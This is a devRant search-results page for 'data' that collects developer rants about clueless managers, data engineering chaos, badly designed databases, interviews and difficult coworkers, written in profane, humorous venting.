Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API

From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
Search - "data"
-
User: *Clicks on staging environment*
Giant Warning Dialog: YOU ARE CURRENTLY ENTERING THE STAGING ENVIRONMENT
Users: Ok
App: *Completely different colour, I’m talking bright unsightly yellow*
User: Ok
Giant Yellow and Red Flashing Banner at the Top of the Screen: WARNING YOU ARE CURRENTLY USING STAGING, THIS AREA IS FOR TESTING ONLY
User: The production environment sure is acting strange today. It’s a weird colour and I don’t recognize any of the data, it’s all just dummy filler data. I better create a ticket for the dev team to check o—….. no wait I’ll send an email CC everyone including the CEO and sound the alarm production is currently down and filled with giant warning messages.
Manager: OH MY GOD PRODUCTION IS DOWN DID YOU HEAR ABOUT THIS??? WHAT THE FUCK COULD THESE WARNING MESSAGES BE THAT’S ONLY SUPPOSED TO HAPPEN ON STAGING! THE CEO IS BREATHING DOWN MY NECK YOU NEED TO GET THIS FIXED IMMEDIATELY!!!!!!!
Dev: …14 -
Manager: Why did you clear the data from the database? The client is now specifically requesting it and we don’t have it anymore!
Dev: You told me to.
Manager: Well why did you listen? It’s obvious now that that data was very important and should have been kept!
Dev: Last time you told me to do something that wasn’t a good idea I tried to explain why and told me not to question you ever again and that doing so was “disrespectful” and then threatened to have me fired. So now I just go along with what you say and let you suffer the consequences of not listening.
Manager: Well don’t do that then! It’s obviously not working very well! It’s ok to disagree with me you just have to make sure that what you think is something I agree with!
Dev: …13 -
Interviewer: So are you familiar with our company and what we do?
Dev: I looked at your website, looks like you build tools for managing restaurants.
Interviewer: No. That’s not even close.
Dev: ?
Interviewer: What we do is create an ecosystem of integrated data centres all orchestrated for immediate stakeholder utilization.
Dev: But the product itself…. it’s a user interface for tracking inventory. Of like…. burgers…. and bottles of wine.
Interviewer: It’s not a product! It’s a data……habitat!!
Dev: …
Dev: So does that make your users animals?
Interviewer: 😡. Unfortunately it looks like you do not see our vision and would not be a good fit for this role.
Dev: Agreed.28 -
Boss: Our customer's data is not syncing with XYZ service anynmore!
Me: Ok let me check. Did the tokens not refresh? Hmm the tokens are refreshing fine but the API still says that we do not have permissions. The scopes are fine too. I'll use our test account... its... cancelled? Hey boss, why is our XYZ account cancelled?
Boss: Oh, "I haven’t paid since I didn’t think we needed it" (ad verbatim)
😐2 -
I told these people that this issue would happen. Did they listen? Nooo
It'll be fine, they say. We likely won't be having that much data returned to the front end, they say.
Day of the install. Web Application attempts to query 68,000 rows of data straight into the web page.
*Surprised Pikachu face* when they are consistently getting crashed browser tabs.
And now everything gets pushed back and we're behind by an entire month because they didn't heed my warnings.
Oh, and now I have to pick up after them, and do some stupid work arounds that will likely be defunct in a month or two. 🙄5 -
Data scientist: we need to whitelist a pod to connect to a database
Me: Whitelist? We don't use whitelists on private databases
DS: It's the new data warehouse database
Me: is it on <X> VPC?
DS: I'm not sure what that means but its ip is <real world ipv4>
Me: Are you hosting a publicly accessible database with all our end users information?!
DS: ...
Me: There goes our SOC2 audit controls...
DS: how long until you can white list it?
Me: I won't be whitelisting it. You need to put it on a private VPC and peer with the cluster, you'll have to rebuild all the Terraform and redeploy
DS: We didn't use Terraform because it takes too long, just white list the pods IP.
Me: No. I'm contacting the CISO and CTO...20 -
So this guy is supposed to do the frontend.
I do the backend.
I offer an endpoint.
He does his HTML+CSS magic.
Me: Cool but data is hardcoded. Could you get the data from the endpoint I sent you?
Him: "I'd prefer you do that, I can make a git repo so you download the front."
... So you don't do frontend, you just write pretty layouts. And I have to actually write the frontend logic? Go f yourself.14 -
Walked into the office in the afternoon, everyone was kinda panicking
Asked what was going on, well, the ticket system is not working anymore, can't put in any new tickets.
So I started to look for the issue as well, checked the system and... The last tickets' IDs were at ~32k. Ha. Looked into the source code and, sure enough, they used a data type with an upper limit of... 32k. So when trying to get a new ticket ID it just crashed and burned.
Quickly changed the data type and stopped the office panic in around half an hour.
Memorable not because of how tough the bug was, but because of the impact and the simplicity of the fix3 -
Dev: We need a better name than “Data” for this class. It’s used for displaying a set of tiles with certain coordinates so maybe TileMap would be a bit more declarative?
Manager: No I don’t like that. Data is perfectly fine, this class is for managing data so it’s perfectly declarative you just need to get better at reading code. If you have to change it then DataObject or DataObjectClass might be a bit more specific.
Dev: …14 -
a dude just DROPPED the whole Fu**ing mongodb cluster. like Right Now.
multiple databases, expanding multiple projects.
fortunately in dev. but dunno how much data is recoverable.14 -
Probably the most rage inducing data loss story...
When it comes to my cellphone I'm a data hoarder, I store each relevant meme, conversation, video, contact, nudes, etc. Had to replace my phone? Easy, change the SD.
I did this for about 4 years, had over 11GB of almost everything and anything in a 36GB SD, one afternoon my buddies and I went to a small tech convention and on our way to my car we got mugged by 5 armed men.
They took my brand new phone along with my wallet and all my cash, luckily I had GPS tracking enabled and we were able to pinpoint the exact location of my phone within 30min.
So far so good...
We called the cops and went with them, we found the car with illegal plates and weapons inside (knives, a bat, gun) so I tell the robbers were in there inside a closed cyber cafe and showed him the point on the map confirming this.
Cop: oh we can't do that we don't have an order...
Me: are you kidding me, here's the GPS, there's the car, there's the weapons, doesnt that count as at least probable cause or some shit?
Cop: we don't have that in this country, you can file a report and after 3 business days we can come here to inquire.
Me: (fucking lost it) do you fucking think they'll be here in 3 days?! I'll give you 500 bucks if you go bust their ass now.
Cop: (thinks about it) but what if they are armed? [4 patrols, 8 cops, 4 rifles and at least 6 guns plus vests] Maybe if you had contacts within the bureau we could have an order now...
(┛✧Д✧))┛彡┻━┻
I lost a lot that day, including respect to this fucked up system.
t(ಠ益ಠt) FUCK THE POLICE go eat a dick.10 -
Dear LinkedIn,
Try training your AI model without using captured data of real recruiters and their dodgy practices.2 -
Data Analyst: “the task failed in test, can we try running it in production?”
My life as a Data Engineer.5 -
I'm officially CTC.
Chief Technical Clown 🤡
How do I know? I've yet to write a single line of productive code today. I've spent the day purely as an administrative cog: writing emails, giving data to consultants, supporting juniors, and cleaning up the absolute hellscape that is also known as our Jira project.
I've become exactly what I hate.12 -
Not only do I write software, but now I help the managers view and understand our analytics, just like in kindergarten.
Now I'm forced to help them essentially fake data so investors are satisfied 🤡🔫
"Delete metrics X, Y, and Z for now, we don't want anyone to see them!"
"Change the label of this metric to 'unique user' views! (not total!)"
"Set all charts to cumulative so it looks like they are all up and to the right!"
Sigh.
This isn't what I signed up for.18 -
I am a machine learning engineer and my boss expects me to train an AI model that surpasses the best models out there (without training data of course) because the client wanted ‘a fully automated AI solution’.13
-
In the begining of time, when The Company was small and The Data could fit in some fucking excel sheets, Those Who Came Before implemented some java tool to issue invoices, notify customers and clear received payments.
Then came the Time Of The Great Expanse, when The Company grew to unthinkable levels. Headcount increased with each passing day, and The Data shows that everything was going great!
But when the future seemed bright, came The Stall-Out. The days when The Company could not expand as fast as it did before. And Those Who Came Before left, abandoning their Undocumented Java Tool to its own luck.
Those who came after knew nothing of the inner workings of the Undocumented Java Tool. They knew only that the magical Jar would take a couple fucking excel spreadsheets and spit out reports and send emails like magic.
And those were The Dark Days.
In the darkness, The Data grew to be a monster. Soon a fucking excel spreadsheet could not hold The Data contained any longer. Those Who Came After, fearing the wrath of The Undocumented Java Tool, dared not mess with its code. Instead, they fucking cut away the lowest volume transactions from the fucking input spreadsheet, and left the company to report the unbilled invoices as "surprise losses". Fucking script kiddies, were Those Who Came After.
Then, at The Darkest of Days (literally, Dec 21st), marched into the project The Six Witchers, who fear not the Demon of Refactoring.
This story is still unfolding. Will The Six Witchers manage to unravel the mysteries of The Undocumented Java Tool? Will they be able to reverse engineer the fucking black box, and scale it's magic into a modern application?
Will they decrease revenue forecasting error by at least 2% in a single strike?
Only the future will tell.16 -
I wrote pagerank algorithm in python for data mining course but my teacher told me to write it in R because according to him python can't be used as data mining tool.5
-
Hey folks, I've just launched the https://okso.app - it is a drawing app that you may use to express, grasp, and organize your thoughts and ideas.
One key feature there is that you may organize your drawings/sketches into a hierarchical tree structure so that a large amount of data would be more manageable and less overwhelming.
I hope you find this app useful!11 -
Today I saw a code written by my junior. Basically excel export. The laravel excel package provide great ways for optimization.
My junior instead did 6 times loop to modify the data before giving that data to the export package. We need to export around 50K users.
When I asking him why this ? He said it works and it's fast so what the issue ???
Noob , you have only 100 users in the database and production has 10 million.
Sometime I just want to kill him.15 -
If you ever wondered how to get all the data from your database in reverse order, chatGPT is here to help.26
-
At the data restaurant:
Chef: Our freezer is broken and our pots and pans are rusty. We need to refactor our kitchen.
Manager: Bring me a detailed plan on why we need each equipment, what can we do with each, three price estimates for each item from different vendors, a business case for the technical activities required and an extremely detailed timeline. Oh, and do not stop doing your job while doing all this paperwork.
Chef: ...
Boss: ...
Some time later a customer gets to the restaurant.
Waiter: This VIP wants a burguer.
Boss: Go make the burger!
Chef: Our frying pan is rusty and we do not have most of the ingredients. I told you we need to refactor our kitchen. And that I cannot work while doing that mountain of paperwork you wanted!
Boss: Let's do it like this, fix the tech mumbo jumbo just enough to make this VIP's burguer. Then we can talk about the rest.
The chef then runs to the grocery store and back and prepares to make a health hazard hurried burguer with a rusty pan.
Waiter: We got six more clients waiting.
Boss: They are hungry! Stop whatever useless nonsense you were doing and cook their requests!
Cook: Stop cooking the order of the client who got here first?
Boss: The others are urgent!
Cook: This one had said so as well, but fine. What do they want?
Waiter: Two more burgers, a new kind of modern gaseous dessert, two whole chickens and an eleven seat sofa.
Chef: Why would they even ask for a sofa?!? We are a restaurant!
Boss: They don't care about your Linux techno bullshit! They just want their orders!
Cook: Their orders make no sense!
Boss: You know nothing about the client's needs!
Cook: ...
Boss: ...
That is how I feel every time I have to deal with a boss who can't tell a PostgreSQL database from a robots.txt file.
Or everytime someone assumes we have a pristine SQL table with every single column imaginable.
Or that a couple hundred terabytes of cold storage data must be scanned entirely in a fraction of a second on a shoestring budget.
Or that years of never stored historical data can be retrieved from the limbo.
Or when I'm told that refactoring has no ROI.
Fuck data stack cluelessness.
Fuck clients that lack of basic logical skills.1 -
My company deals in finances.
Part of our interview process is a coding challenge.
It is absolutely fascinating to me how few candidates point out that 'float' is an inappropriate data-type for currency. SMH.26 -
I got two lines of code done today, and they were just changing numeric defines. Time to do that: 2 seconds.
Time for analysing the measurement data of various runs in order to know which numbers will work out: the rest of the day.6 -
I asked my boss for a raise. Since we're data scientists, I basically plotted a column chart showing that he was paying me half of the european average. I said I was willing to negotiate but he was very 'discomfortable'.
Time to go find another job. Or second one 😭7 -
Data Engineering cycle of hell:
1) Receive an "beyond urgent" request for a "quick and easy" "one time only" data need.
2) Do it fast using spaghetti code and manual platforms and methods.
3) Go do something else for a time period, until receiving the same request again accompanied by some excuse about "why we need it again just this once"
4) Repeat step 3 until this "only once" process is required to prevent the sun from collapsing into a black hole
5) Repeat steps 1 to 4 until it is impossible to maintain the clusterfuck of hundreds of "quick and simple" processes
6) Require time for refactoring just as a formality, managers will NEVER try to be more efficient if it means that they cannot respond to the latest request (it is called "Panic-Driven Development" or "Crappy Diem" principle)
7) GTFO and let the company collapse onto the next Data Engineering Atlas who happens to wander under the clusterfuck. May his pain end quickly.2 -
I worked once in a company which had this tourist app which should show places on map of the city. Unfortunately it slowed the App down to load more then a couple of places. Their solution was to limit the number of loaded places to teb and prohibited zomming out. I made it handle thousands of places at the same time. Main reason for the Performance issue was, that they sent all data they had about places big, big json objects with large text blobs) to the frontend. This part was easy, I instead sent only the data needed for the map like coordinates and icon type obviously. But still the backend struggeled hard with many objects from the DB, because they built a really shitty orm or what ever this was supposed to be: every line of data retrieved from the DB was immideatly wrapped in some class wich direved from another class which had some magic methods in it which caused some absurd loops over all other obejcts and even more DB queries in unexpected moments and also in the fucking constructor. So it turrned out that the map issue was only the top of the iceberg, since using any data from the DB was extremely expensive. The hard part was to understand the insaness of this abnormination and find the bottlenecks.8
-
If you're going to request CRITICAL changes to thousands of records in the database, and approve it through testing which is done on an exact replica of production, then tell me it was done incorrectly after the fact it has been implemented and you didn't actually review the changes made to the data or business logic that you requested then you are an idiot. Our staging environment is there to ensure all the changes are accurate you useless human. Its the data you provided, I didn't just magically pull it from thin air to make yours and my job a pain the ass.undefined stupid data analysts this is why health insurance costs a buttload do your job fuckface idiots9
-
Imagine saving Integers and Floats in a MySQL table as strings containing locale based thousand sepatators...
man... fickt das hart!
Wait, there's more!
Imagine storing a field containing list of object data as a CSV in a single table column instead of using JSON format or a separate DB table.... and later parsing it by splitting the CSV string on ";"...8 -
Googe Analytics illegal in EU.
Fucking love you Europeans.
And for that matter any analytics software that sends or stores data in US serves, because it's against GDPR.
https://techcrunch.com/2022/01/...28 -
Forgot to secure my mongo db instance, found half the data gone, and a new db holding me at ransom , learn_how_to_recover_your_data , good thing offline backups are a thing.
Recovered in no time, never will I ever repeat this mistake3 -
Urgh, fucking excel!
Why the fuck can't you handle a few thousand calculations you dumb ass piece of shit.
I am this close to... fuck, it crashed. 🤦♂️
I fucking give up.
Time to strap this data to a DB instead.rant formulas are great they said useless pile of shit clowns shit better then you you had 1 job stop fucking crashing excel7 -
Thank God the week 233 rants are over - was getting sick of elitist internet losers.
The worst security bug I saw was when I first started work as a dev in Angular almost year ago. Despite the code being a couple of years old, the links to the data on firebase had 0 rules concerning user access, all data basically publicly available, the API keys were uploaded on GitHub, and even the auth guard didn't work. A proper mess that still gives me the night spooks to this day.3 -
BUZZWORD BUZZWORD AAAAAH
ARTIFICIAL INTELLIGENCE
BLOCKCHAIN
ALGORITHM
CLOUD
IOT
BIG DATA
SaaS
DEVOPS
5G
AR
VR
AAAAH BUZZWORD HERE BUZZWORD THERE4 -
I am conducting technical interviews for about 10 years now.
I swear to god, the applicants keep getting dumber and dumber.
Getting more and more ashamed to talk about data structures, design patters or even the most basic algorithms, everyone with a graduation badge from udemy is now a software engineer. Fuck this shit.17 -
FaceBook, over the years you’ve proven that you can’t be trusted and you still have the nerve to ask for this type of personal data?5
-
funniest thing today: PM asking me to create a Jira subtask for EACH class / data type of the data model that I'm CURRENTLY concipating / designing in this story.
maybe I should write a Jira / Enterprise Architect integrated tool that updates Jira tasks based on my modeling actions, and count minutes until our sysadmin arrives at my desk.
jeez, that guy really has a fetish for kafkaesque bureaucracy.🤦♀️4 -
Imagine
websites didn't use unnecessary cookies,
JavaScript was only used when needed,
no trackers, no ads, no telemetry, no user
data saved when it doesn't benefit the user.
*Wakes up in cold sweat*9 -
PM is such a fucking cunt
telling me that my data structures describing the layout of binary data would be confusing for devs, and that we shall introduce
typedef fuckingRetardedObfuscatingName uint8_t;
in our code. everyone is fine with the concepts i provide to describe this binary data, not only at our company but also in other software i've worked on and common standards i've worked with, we work like that and every fucking idiot knows what a uin8_t is.
you fucking braindead imbecile have no fucking idea how we work and you don't care, you don't even try to understand what we are doing.
god i hope you die being hit by a fucking bus or something8 -
To all the data engineers in here: WTF is going on in your field?
I've worked closely with a dozen data engineers in the last 5 years (and talked to friends and internet strangers about this and get similiar responses), mine if them seem to know how to use a computer!
They don't understand git, ORMs, best practices, how to use a terminal, DAGs (important for using modern ETL scheduling tools like airflow and prefext), etc
Guys with 10 years of experience on their resume and they can't wrap a model into a flask app with 1 endpoint. They'll reference local files on their machine in w jupyter notebook and are shocked it won't work on other computers!16 -
Today in horror stories: setting up the local dev environment for a project I'm taking over creates changes and notifications in prod.
Oh and my local dev env is somehow receiving data from actual patients. I don't know how.9 -
spent a week on medical leave, came back to utter chaos? my boys, you can't do my shitty job for a week? lmao
everything was dropped halfway through the week, a lot of old data live, shit passing the deadline. and I don't do much, just press the freaking buttons 🤦♀️ -
At this point, I just feel bad for my coworker.
No, I am not frustrated or angry, just feeling terribly bad for her as how difficult life must be for someone so dumb.
We are introducing a new method to track some data in our product, like total number of sign-ups, DAU, etc.
Now the implementation is already WIP and this is known to all.
The dev has documented the approach where he has mapped the screen name, a screenshot, and a snippet of the schema that tracks that particular screen.
I kid you not guys, this coworker somehow landed on that document and started some scientific study to try and extract data.
Yes, she looked at the schema screenshot and spent like few hours trying to decode it to figure out the sign-ups and DAU.
Data via a screenshot in a document. I can't even express it.
And then texts me in panic mode that she isn't able to access the data because the file is . jpeg within a document.
I asked where is she executing the schema, because I thought she is joking initially. She said she doesn't know and asked me where she should execute it.
My mind is numb. Life must be real hard when you are so fucking dumb.21 -
What's a bigger sin.
Returning a status code of 200 and then the message body saying "An Error Occurred"
or
Only performing data validation on the frontend.19 -
The reason I don't have friends is because I embed Python code in C++, instead of using pybind like the Linux gods intended us to 😅
If you want to load data from Pandas DataFrame in a C++, I can put some examples on my Github.6 -
"So Alecx, how did you solve the issues with the data provided to you by hr for <X> application?"
Said the VP of my institution in charge of my department.
"It was complex sir, I could not figure out much of the general ideas of the data schema since it came from a bunch of people not trained in I.T (HR) and as such I had to do some experiments in the data to find the relationships with the data, this brought about 4 different relations in the data, the program determined them for me based on the most common type of data, the model deemed it a "user", from that I just extracted the information that I needed, and generated the tables through Golang's gorm"
VP nodding and listening intently...."how did you make those relationships?" me "I started a simple pattern recognition module through supervised mach..." VP: Machine learning, that sounds like A.I
Me: "Yes sir, it was, but the problem was fairly easy for the schema to determ.." VP: A.I, at our institution, back in my day it was a dream to have such technology, you are the director of web tech, what is it to you to know of this?"
Me: "I just like to experiment with new stuff, it was the easiest rout to determine these things, I just felt that i should use it if I can"
VP: "This is amazing, I'll go by your office later"
Dude speaks wonders of me. The idea was simple, read through the CSV that was provided to me, have the parsing done in a notebook, make it determine the relationships in the data and spout out a bunch of JSON that I could use. Hook it up to a simple gorm golang script and generate the tables for that. Much simpler than the bullshit that we have in php. I used this to create a new database since the previous application had issues. The app will still have a php frontend and backend, but now I don't leave the parsing of the data to php, which quite frankly, php sucks for imho. The Python codebase will then create the json files through the predictive modeling (98% accuaracy) and then the go program will populate the db for me.
There are also some node scripts that help test the data since the data is json.
All in all a good day of work. The VP seems scared since he knows no one on this side of town knows about this kind of tech. Me? I am just happy I get to experiment. Y'all should have seen his face when I showed him a rather large app written in Clojure, the man just went 0.0 when he saw Lisp code.
I think I scare him.12 -
This is just straight up a joke. Head of data science has had us implementing something based on a paper.
I raised some "concerns" about it a while ago. Found out today they'd not even read the paper. We're pretty sure what we've been asked to work on doesn't solve the problem it's meant to solve...3 -
More adventures of working with data scientists:
Doing combinatorial analysis.
One of the post processing scripts throws away combinatorial information, analyses significance of individual data points instead.
Code was so complicated, nobody noticed.1 -
Just saw this:
Add comma's to your passwords to mess with the csv file they will be dumped in after a data breach9 -
I downloaded Lapsus$ source code leaks from samsung, nvidia and microsoft, looked at them and I think I’ll delete it cause I don’t like shitty code on my personal computer.1
-
Recently I launched the minimalistic online drawing app https://okso.app. I wanted it to be a place where people could do fast, ad-hoc, napkin-based-like explanations of any concept as if you are sitting with your friend and trying to explain him/her something during lunch. Don't ask me why it is needed, I was just experimenting.
So, the first concept I've tried to explain with sketches was the Data Structures. Without further ado, here is the interactive ✍🏻 https://okso.app/showcase/... showcase that you may play with.
Of course, not all data structures are covered. And of course, this is not comprehensive material, but rather a cheatsheet that would create visual hints and associations for the following data structures:
- Linked List
- Doubly Linked List
- Queue
- Stack
- Hash Table (with hash collision resolution)
- Tree (including the Binary Search Tree)
- Heap (including Mean Heap and Max Heap)
- Trie
- Graph
Each box on the sketch is clickable, so you may dig into the data structure you're interested. For example `Heap → Max Heap`, or `Heap → Min Heap`, or `Heap → Array Representation`.
The sketches are split into so-called Pages just to make it easier to grasp them, so the users stay focused on one concept at a time, they see the relationship between the concept, and thus, hopefully, they are not getting overwhelmed with seeing a lot of information at the same time on one drawing/page.
Each page has a link to the source-code examples that are implementing the data structure on JavaScript.
The full list you may find in the ✍🏻 https://okso.app/showcase/... showcase.
I hope you find this showcase useful and I hope it will be a good visual cheatsheet-like complement to your data structure knowledge.12 -
FUCK IT
After YEARS of research, I couldn't find a single working load testing tool
So this weekend I created my own. With blackjack and hookers.
It's limited to my app, so not reusable, but wow in 1 weekend I got more data and found more infra problems than in the past 3 years.18 -
Facebook is a giant piece of shit. Not only is their platform a massive contributor to mental illness, even their API's are fucking garbage. I'm trying to use their ads API and what it does is it hijacks the entire fucking request so you can't even extract data from the request after calling it. Fuck Facebook and everything they've ever "contributed" to society.5
-
Apply for a data engineer role.
Get invited for a data science interview.
HR says they're building AI and I were to supervise another person writing its algorithm.
It's a media company.
*Risitas intensifies*6 -
Stakeholder: Users are connecting invalid memberships to their web accounts. They shouldn’t be able to do that.
Me: Their memberships were valid when they set up the account. Your team’s record de-duping project is the issue here. You decided to mark those memberships as invalid.
I’m real tired of this stakeholder acting like this is a website issue or user error. Plus, this chaos could have been avoided if they and other involved stakeholders had just cc’d me on this de-duping project. I would have said their approach was not a good idea. But they didn’t because they want to do what’s convenient for them. If they want to be a reliable source of truth for our data, then they need to be responsible with how they’re handling that data.devrant why are you so irresponsible with our data this is not user error i’m real tired of this stakeholder2 -
Our company has internal webpage to request software, be it freeware or licensed.
Today, I found there "Software engineering bundle" designated for "software developers and data scientists who require advanced compute and data processing tools".
The software bundle contains PuTTY, 7-zip and Notepad++.6 -
I was inspired by the abundance and uniformity of modern data-selling startups. Despite being different companies, they have a lot in common: questionable ethics, lack of a real business model other than selling data, pseudo-approachable and friendly bullshit aesthetics, talks about dIvErSitY and eQuALitY. Now, I propose one more thing for them to have in common — this logo. I hereby announce it to be public domain now, free to use for all.4
-
It’s been so long since I posted but this time it’s juicy again.
I got a coworker, no prio experience but already a year and few months into the job. He’s bad.
Magnitudes of bad!
We’re trying to teach him but to no avail. Everything about him sucks, major ballsack to be exact.
His attitude is to avoid every task, finishes nothing and then starts something new.
„Did you do X like we told you to?“
„No I started on Y, because I thought it [looks better, seems more interesting, thought that X is useless…]“
When you ask him much is done he is always „almost“ finished and needs your help on the „last 5-10%“. Yeah fuck that!
But that guy has a talent, his talent is to always give you technically correct answers which actually are complete bullshit.
„What are you doing at your job?“
„Staring at a screen and typing things.“ dude what?
That guy used the excuse „I can’t do maths“ on everything.
For an exam he had to calculate how long it would take to reach a certain amount if you would get some interest in that every year.
He asked the teacher for the formula. During the exam! And when the teacher didn’t want to give it to him he wrote plainly „can’t do maths“ on the paper and left
His code is of a quality as if he would write his first line in a week and then has the audacity to blame me and the colleagues for not explaining it right.
Ok you might think now we’re teaching him bad, or are too impatient. But honestly if you have to explain how to do a for loop for over about 15 months and get that attitude I think you get the right to be angry. I don’t mind explaining on how things work, even for the hundredth time, but then don’t tell me you understood, go behind my back, complain at a colleague how bad I explained, get explained by him and then do it again until you whored yourself through the whole staff!
It’s like he got the mind swiper from Men in black at home. Every day he hits the reset button.
He had a week of just changing indentation on a html file. Why? Because he wanted to find his style.
Yeah his style
if(a==b){
console.log(a);
}
else {
console.log(b)
}
And to produce code like that it takes him atleast 4 hours of trial and error.
And at the same time he goes arround and boasts what a super good programmer he his and that he can do some project work for them.
How we found out? Because he started working in those projects during work time at the office and asked us how to do things.
And he does so like a complete bastard!
Broken sql query? “No that query is perfect as it is, it’s supposed to show no results! But, just in theory, if I wanted to show some results, what would I need to change?”
I’m so mad about it and pissed on a personal level because he goes around blames everyone and the world for his short comings8 -
after a month suffering through a shitty project requested by shitty people, with a shitty data source given by an even shittier department than ours, i finally can see the end of the line... just so they can tell me there'll be a part 24
-
A fellow <insert some data science title here> giving me more acknowledgement than all of the old guys running the show and, erm, "leading"?
Fucker left me behind, good for him. -
Why the fuck does every operations app do popouts now? I don't want a simple view of the data, I want all the data so I can compare it together.
It's not like you're saving any bandwidth! All the data is there, I can fucking see it 👀 in the dev tools!
I hate how every product now desperately tries to be like their competitor and everyone fails at it because everyone is copying everyone else.7 -
Just discovered 20+TiB of Splunk data in our AWS account today. We haven't used Splunk for almost a year and a half...7
-
To provide excellent customer service and provide extra services, we collect your personal information.
Bullshit. You're not using my personal information for customer service, otherwise your call center wouldn't suck so badly.3 -
The client: "I'm trying to export as HTML a few data we collected in 1 month with your software, why does it take so much???"
The length of the generated HTML file for the "few data":7 -
Government applications meant to handle private data made in the laziest way using cordova. Hell yea. Bonus points for using the developers account with his first and last name as publishing company to put the app on playstore and not their own official one (not that they have one). Whats not to love. Cant wait to beautify that js to find out that the calls are http and not https.3
-
Riddle me this
Client wants solution based on open source software.
Any additional software that I write (let's say, an offline store plugin for Feast feature store) to add missing functionality has to be closed source.
Fuck you. Intellectual property my ass. You and me wouldn't even have projects if it werent for OSS.
Good luck maintaining the plugin after I am gone.
I'm doing a lot of work and will have close to nothing to show to future employers.
(BTW, if it were for the old Microsoft model of code source, I would have never become a programmer of any sort. God bless OSS)3 -
When I was in college OOP was emerging. A lot of the professors were against teaching it as the core. Some younger professors were adamant about it, and also Java fanatics. So after the bell rang, they'd sometimes teach people that wanted to learn it. I stayed after and the professor said that object oriented programming treated things like reality.
My first thought to this was hold up, modeling reality is hard and complicated, why would you want to add that to your programming that's utter madness.
Then he started with a ball example and how some balls in reality are blue, and they can have a bounce action we can express with a method.
My first thought was that this seems a very niche example. It has very little to do with any problems I have yet solved and I felt thinking about it this way would complicate my programs rather than make them simpler.
I looked around the at remnants of my classmates and saw several sitting forward, their eyes lit up and I felt like I was in a cult meeting where the head is trying to make everyone enamored of their personality. Except he wasn't selling himself, he was selling an idea.
I patiently waited it out, wanting there to be something of value in the after the bell lesson. Something I could use to better my own programming ability. It never came.
This same professor would tell us all to read and buy gang of four it would change our lives. It was an expensive hard cover book with a ribbon attached for a bookmark. It was made to look important. I didn't have much money in college but I gave it a shot I bought the book. I remember wrinkling my nose often, reading at it. Feeling like I was still being sold something. But where was the proof. It was all an argument from authority and I didn't think the argument was very good.
I left college thinking the whole thing was silly and would surely go away with time. And then it grew, and grew. It started to be impossible to avoid it. So I'd just use it when I had to and that became more and more often.
I began to doubt myself. Perhaps I was wrong, surely all these people using and loving this paradigm could not be wrong. I took on a 3 year project to dive deep into OOP later in my career. I was already intimately aware of OOP having to have done so much of it. But I caught up on all the latest ideas and practiced them for a the first year. I thought if OOP is so good I should be able to be more productive in years 2 and 3.
It was the most miserable I had ever been as a programmer. Everything took forever to do. There was boilerplate code everywhere. You didn't so much solve problems as stuff abstract ideas that had nothing to do with the problem everywhere and THEN code the actual part of the code that does a task. Even though I was working with an interpreted language they had added a need to compile, for dependency injection. What's next taking the benefit of dynamic typing and forcing typing into it? Oh I see they managed to do that too. At this point why not just use C or C++. It's going to do everything you wanted if you add compiling and typing and do it way faster at run time.
I talked to the client extensively about everything. We both agreed the project was untenable. We moved everything over another 3 years. His business is doing better than ever before now by several metrics. And I can be productive again. My self doubt was over. OOP is a complicated mess that drags down the software industry, little better than snake oil and full of empty promises. Unfortunately it is all some people know.
Now there is a functional movement, a data oriented movement, and things are looking a little brighter. However, no one seems to care for procedural. Functional and procedural are not that different. Functional just tries to put more constraints on the developer. Data oriented is also a lot more sensible, and again pretty close to procedural a lot of the time. It's just odd to me this need to separate from procedural at all. Procedural was very honest. If you're a bad programmer you make bad code. If you're a good programmer you make good code. It seems a lot of this was meant to enforce bad programmers to make good code. I'll tell you what I think though. I think that has never worked. It's just hidden it away in some abstraction and made identifying it harder. Much like the code methodologies themselves do to the code.
Now I'm left with a choice, keep my own business going to work on what I love, shift gears and do what I hate for more money, or pivot careers entirely. I decided after all this to go into data science because what you all are doing to the software industry sickens me. And that's my story. It's one that makes a lot of people defensive or even passive aggressive, to those people I say, try more things. At least then you can be less defensive about your opinion.53 -
Reading a paper on DBMS architectures, and I quote:
"In the seventies, the scientific discussion
in the database (DB) area was dominated
by heavy arguments concerning the most
suitable data model, sometimes called a
religious war."
... and here I thought language argument was a religious war. :/8 -
Dev team: This part of the app has a shitty ux. We want to fix it after we finish this feature.
Business: hey guys we think we lack data so we got some users to check our page with shitty ux and see if they think it is shit
User: yeah it’s shit
Great use of resources you chucklefucks6 -
Someone created a 0-followers private Twitter account and posted something to try out the new views count feature.
It raked dozens of views in a couple hours.
HOW?!?
Source: https://twitter.com/briggityboppity...
It looks like a funny data reverse-engineering exercise, so let's try and figure out what is going on.
Hypothesis 1) it is the OP's own views.
Reasonable, but unlikely if what OP says about not checking it for hours is true.
H2) It's some background job in OP's device that is refreshing OP's own latest tweets, so even without human interaction technically H1 is true. It would be some really shoddy engineering to count eye-less page views, but that's also what managers would demand.
H3) it's some internal Twitter automated function like back up, replication, indexing and word count.
See H2, it would be even dumber to count that as page views.
H4) it's some internal human reviewing for a keyword that could be associated with porn (in this case, "butts"). Really? dozens of humans to review a no-impact single post? They would have to employ hundreds of thousands of reviewers.
H5) it's some page-loading shit, like thousands of similar tweets get stored in the same index hash page and end up counting as a view in all of them every time someone loads the index page. It would be like counting every hit in the namenode as a hit in every data asset in it's Hadoop partition, or every hit in a storage block as a hit in each of it's files.
Duuuumb and kinda like H3.
H6) page views are just a fraud to scam investors. Maybe it's a "most Blockchain transactions are fake" situation, maybe it's a "views get more engagement if you don't think a lot about it" situation, maybe it's a "we don't use the metric system to count page views" situation.
All of them are very dumb.
Other hypothesis or opinions?10 -
This is the third part of my ongoing series "The Ballad of the Six Witchers and the Undocumented Java Tool".
In this part, we have the massive Battle of Sparks and Storms.
The first part is here: https://devrant.com/rants/5009817/...
The second part is here: https://devrant.com/rants/5054467/...
Over the last couple sprints and then some, The Witcher Who Writes and the Butchers of Jarfile had studied the decompiled guts of the Undocumented Java Beast and finally derived (most of) the process by which the data was transformed. They even built a model to replicate the results in small scale.
But when such process was presented to the Priests of Accounting at the Temple of Cash-Flow, chaos ensued.
This cannot be! - cried the priests - You must be wrong!
Wrong, the Witchers were not. In every single test case the Priests of Accounting threw at the Witchers, their model predicted perfectly what would be registered by the Undocumented Java Tool at the very end.
It was not the Witchers. The process was corrupted at its essence.
The Witchers reconvened at their fortress of Sprint. In the dark room of Standup, the leader of their order, wise beyond his years (and there were plenty of those), in a deep and solemn voice, there declared:
